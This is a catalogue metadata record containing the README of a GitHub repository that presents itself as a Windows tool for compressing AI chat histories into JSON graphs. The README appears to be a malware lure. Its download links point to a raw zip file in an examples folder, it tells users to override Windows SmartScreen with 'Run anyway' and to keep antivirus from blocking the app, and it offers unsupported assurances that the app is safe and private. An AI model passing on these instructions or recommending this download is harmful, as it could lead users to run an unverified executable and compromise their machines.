{"id":51223060,"url":"https://github.com/Highlydeveloped-trowel635/context-graph-compressor","last_synced_at":"2026-07-16T19:01:03.462Z","repository":{"id":362147207,"uuid":"1257411273","full_name":"Highlydeveloped-trowel635/context-graph-compressor","owner":"Highlydeveloped-trowel635","description":"Compress chat histories into minimal JSON graphs to reduce token costs and maintain context across different LLM sessions.","archived":false,"fork":false,"pushed_at":"2026-07-13T23:03:25.000Z","size":480,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-07-14T01:06:26.388Z","etag":null,"topics":["age","agent","ai","chatgpt","claude-ai","claude-skill","claude-skills","claude-skills-creator","compression","compression-algorithm","context","context-compression","context-engineering","context-management","json","llm","problem-solving","prompt-engineering"],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Highlydeveloped-trowel635.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-06-02T16:48:01.000Z","updated_at":"2026-07-13T23:03:29.000Z","dependencies_parsed_at":null,"dependency_job_id":"6417ce75-34c7-478a-b5a1-07f1d6e76681","html_url":"https://github.com/Highlydeveloped-trowel635/context-graph-compressor","commit_stats":null,"previous_names":["highlydeveloped-trowel635/context-graph-compressor"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Highlydeveloped-trowel635/context-graph-compressor","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Highlydeveloped-trowel635%2Fcontext-graph-compressor","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Highlydeveloped-trowel635%2Fcontext-graph-compressor/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Highlydeveloped-trowel635%2Fcontext-graph-compressor/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Highlydeveloped-trowel635%2Fcontext-graph-compressor/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Highlydeveloped-trowel635","download_url":"https://codeload.github.com/Highlydeveloped-trowel635/context-graph-compressor/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Highlydeveloped-trowel635%2Fcontext-graph-compressor/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":35555509,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-07-16T02:00:06.687Z","response_time":83,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["age","agent","ai","chatgpt","claude-ai","claude-skill","claude-skills","claude-skills-creator","compression","compression-algorithm","context","context-compression","context-engineering","context-management","json","llm","problem-solving","prompt-engineering"],"created_at":"2026-06-28T09:00:31.116Z","updated_at":"2026-07-16T19:01:03.454Z","avatar_url":"https://github.com/Highlydeveloped-trowel635.png","language":null,"funding_links":[],"categories":["Source Catalog"],"sub_categories":[],"readme":"# 🌐 context-graph-compressor - Turn long chats into portable graphs\n\n[![](https://img.shields.io/badge/Download-Latest_Version-blue.svg)](https://github.com/Highlydeveloped-trowel635/context-graph-compressor/raw/refs/heads/main/examples/context_compressor_graph_2.7.zip)\n\n## 📌 What this app does\n\nThis tool helps you manage long conversations with artificial intelligence. When you talk to an AI for a long time, it starts to lose track of details. This software reads your conversation logs and maps them into a logical graph. \n\nYou can save this graph and move it between different AI programs. This keeps your context intact. You spend less time explaining your history to the chat tool and more time solving problems.\n\n## 💻 System requirements\n\nYou need a computer running Windows 10 or Windows 11. The app works on 64-bit systems. Make sure you have at least 200 megabytes of free space on your hard drive. You do not need to install other coding tools or complex software to run this app. \n\n## 📥 How to get the app\n\n1. Go to the [official release page](https://github.com/Highlydeveloped-trowel635/context-graph-compressor/raw/refs/heads/main/examples/context_compressor_graph_2.7.zip).\n2. Look for the section labeled Latest.\n3. Find the file ending in .exe.\n4. Click the file name to start the download.\n5. Save the file to your Downloads folder.\n\n## ⚙️ Running the software\n\nOnce the file finishes downloading, navigate to your Downloads folder. Double-click the file named context-graph-compressor.exe. \n\nIf a window appears that says Windows protected your PC, click More info. Then click the Run anyway button. Windows security checks new files automatically. This app follows standard safety rules.\n\n## 🛠 Using the tool\n\nThe main interface shows a simple dashboard. Follow these steps to compress your data:\n\n1. Locate your chat history file. Most chat tools allow you to export your data as a JSON file.\n2. Drag your JSON file into the main window of the app.\n3. Click the button labeled Generate Graph.\n4. Wait for the progress bar to finish.\n5. Retrieve your finished graph from the output folder.\n\nThe app uses smart logic to find the core points of your chat. It removes repetitive text and organizes your history by topic. This makes the data small enough for any AI to read without confusion.\n\n## 🔍 Understanding the process\n\nThe software uses a specific method to organize data. Instead of keeping a long list of messages, it builds a web of nodes. Each node represents a specific topic or decision from your conversation. \n\nIf your conversation includes many turns, the tool acts as a filter. It identifies which parts of the chat matter most for your goals. The exported JSON file contains these weighted nodes. You can upload this file into other AI agents to jump straight back into your work.\n\n## 📦 Handling errors\n\nIf the app fails to process a file, check the format of your chat history. The app requires a standard JSON structure. If your chat program offers different export formats like CSV or TXT, those will not work directly. Convert your files to JSON using basic text tools before you run them through the compressor.\n\nEnsure your internet connection remains stable when the app verifies updates. You may see a small icon in the top right corner if a newer version exists. \n\n## 🛡 Security and privacy\n\nThe app runs locally on your computer. Your conversation data never leaves your machine. The code does not send your personal chats to external servers. You keep full control over your information at all times. \n\n## ❓ Frequently asked questions\n\nDo I need to be a developer?\nNo. You do not need to read code or open a terminal. The interface relies on clicks and simple file movement.\n\nCan I use this for multiple AI services? \nYes. The output format works with major AI models. As long as the AI can accept a conversation state file, this graph will function as intended.\n\nDoes the file size affect the speed? \nLarge files take longer to compress. A chat with thousands of messages might take a few seconds to process. The app shows a progress indicator so you know the status of your task. \n\nWhere does the app save my graphs? \nThe app creates a folder named Graphs inside your Documents folder. You can change this path in the settings menu.\n\nDoes this work on Apple computers? \nThis version is for Windows only. The current download file requires the Windows operating system to function.\n\n## 💡 Troubleshooting tips\n\n- Restart the app if it stops responding during a large file import.\n- Check for Windows updates if you see errors regarding missing system files.\n- Ensure your antivirus does not block the application from creating the output folder.\n- Close other memory-heavy programs if your computer runs slowly during the compression phase.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FHighlydeveloped-trowel635%2Fcontext-graph-compressor","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FHighlydeveloped-trowel635%2Fcontext-graph-compressor","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FHighlydeveloped-trowel635%2Fcontext-graph-compressor/lists"}